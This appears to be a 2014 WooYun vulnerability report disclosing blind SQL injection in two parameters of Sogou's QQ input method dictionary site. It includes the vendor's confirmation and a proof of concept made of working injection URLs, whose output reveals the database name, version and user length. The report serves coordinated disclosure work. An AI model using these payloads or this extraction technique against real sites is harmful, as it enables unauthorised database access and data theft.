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缺陷编号:wooyun-2014-084285

漏洞标题:搜狗网站(QQ输入法)网站盲注漏洞

相关厂商:搜狗

漏洞作者: Tea

提交时间:2014-11-22 21:46

修复时间:2015-01-06 21:48

公开时间:2015-01-06 21:48

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2014-11-22: 细节已通知厂商并且等待厂商处理中
2014-11-26: 厂商已经确认,细节仅向厂商公开
2014-12-06: 细节向核心白帽子及相关领域专家公开
2014-12-16: 细节向普通白帽子公开
2014-12-26: 细节向实习白帽子公开
2015-01-06: 细节向公众公开

简要描述:

发现两个盲注漏洞,过滤了点字符,无伤大碍,还是能获取到数据的。

详细说明:

两个注入漏洞一起发吧
http://dict.qq.pinyin.cn/dict_list?sort1=文化艺术&sort2=文学(SQLI)
http://dict.qq.pinyin.cn/dict_list?key=F1(SQLI)
基于显示页面的内容作为参考,进行注入。

漏洞证明:

POC:
and ascii(substring((version()),1,1)) BETWEEN 50 and 53;
http://dict.qq.pinyin.cn/dict_list?sort1=%CE%C4%BB%AF%D2%D5%CA%F5&sort2=%CE%C4%D1%A7%27%20And%20(select%20length(database()))=6%23
http://dict.qq.pinyin.cn/dict_list?sort1=文化艺术&sort2=文学' And (select length(database()))=6#
数据库名长度6
http://dict.qq.pinyin.cn/dict_list?sort1=%CE%C4%BB%AF%D2%D5%CA%F5&sort2=%CE%C4%D1%A7%27%20And%20(select%20length(version()))=10%23
http://dict.qq.pinyin.cn/dict_list?sort1=文化艺术&sort2=文学' And (select length(version()))=10#
数据库版本长度10
http://dict.qq.pinyin.cn/dict_list?sort1=%CE%C4%BB%AF%D2%D5%CA%F5&sort2=%CE%C4%D1%A7%27%20And%20(select%20length(user()))=17%23
http://dict.qq.pinyin.cn/dict_list?sort1=文化艺术&sort2=文学' And (select length(user()))=17#
数据库用户名长度17
And (select length(version()))=10
http://dict.qq.pinyin.cn/dict_list?sort1=%CE%C4%BB%AF%D2%D5%CA%F5&sort2=%CE%C4%D1%A7%27%20And%20(select%20length(version()))%20BETWEEN%2010%20and%2010%23
http://dict.qq.pinyin.cn/dict_list?sort1=文化艺术&sort2=文学' And (select length(version())) BETWEEN 10 and 10#
http://dict.qq.pinyin.cn/dict_list?sort1=文化艺术&sort2=文学' and ascii(substring((version()),1,1)) BETWEEN 53 and 53#
ascii 53 字符 5
http://dict.qq.pinyin.cn/dict_list?sort1=文化艺术&sort2=文学' and ascii(substring((version()),2,1)) BETWEEN 46 and 46#
ascii 46 字符 .
http://dict.qq.pinyin.cn/dict_list?sort1=文化艺术&sort2=文学' and ascii(substring((version()),3,1)) BETWEEN 53 and 53#
ascii 53 字符 5
10个字符,这里就偷懒了。就列出前面三个字符。MYSQL5版本
http://dict.qq.pinyin.cn/dict_list?sort1=%CE%C4%BB%AF%D2%D5%CA%F5&sort2=%CE%C4%D1%A7%27%20and%20ascii(substring((database()),1,1))%20BETWEEN%20113%20and%20113%23
ascii 113 字符 q
http://dict.qq.pinyin.cn/dict_list?sort1=%CE%C4%BB%AF%D2%D5%CA%F5&sort2=%CE%C4%D1%A7%27%20and%20ascii(substring((database()),2,1))%20BETWEEN%20113%20and%20113%23
ascii 113 字符 q
http://dict.qq.pinyin.cn/dict_list?sort1=%CE%C4%BB%AF%D2%D5%CA%F5&sort2=%CE%C4%D1%A7%27%20and%20ascii(substring((database()),3,1))%20BETWEEN%20100%20and%20100%23
ascii 100 字符 d
http://dict.qq.pinyin.cn/dict_list?sort1=%CE%C4%BB%AF%D2%D5%CA%F5&sort2=%CE%C4%D1%A7%27%20and%20ascii(substring((database()),4,1))%20BETWEEN%20105%20and%20105%23
ascii 105 字符 i
http://dict.qq.pinyin.cn/dict_list?sort1=%CE%C4%BB%AF%D2%D5%CA%F5&sort2=%CE%C4%D1%A7%27%20and%20ascii(substring((database()),5,1))%20BETWEEN%2099%20and%2099%23
ascii 99 字符 c
http://dict.qq.pinyin.cn/dict_list?sort1=%CE%C4%BB%AF%D2%D5%CA%F5&sort2=%CE%C4%D1%A7%27%20and%20ascii(substring((database()),6,1))%20BETWEEN%20116%20and%20116%23
ascii 116 字符 t
所以database()=> "qqdict"
另外的验证
http://dict.qq.pinyin.cn/dict_list?key=%25%27%20and%20%27%%27=%271
http://dict.qq.pinyin.cn/dict_list?key=F1%%27%20And%20(select%20length(version()))=10%23
图片验证:

SQL1.jpg


SQL2.jpg

修复方案:

..

版权声明:转载请注明来源 Tea@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2014-11-26 10:44

厂商回复:

收到,感谢支持

最新状态:

暂无


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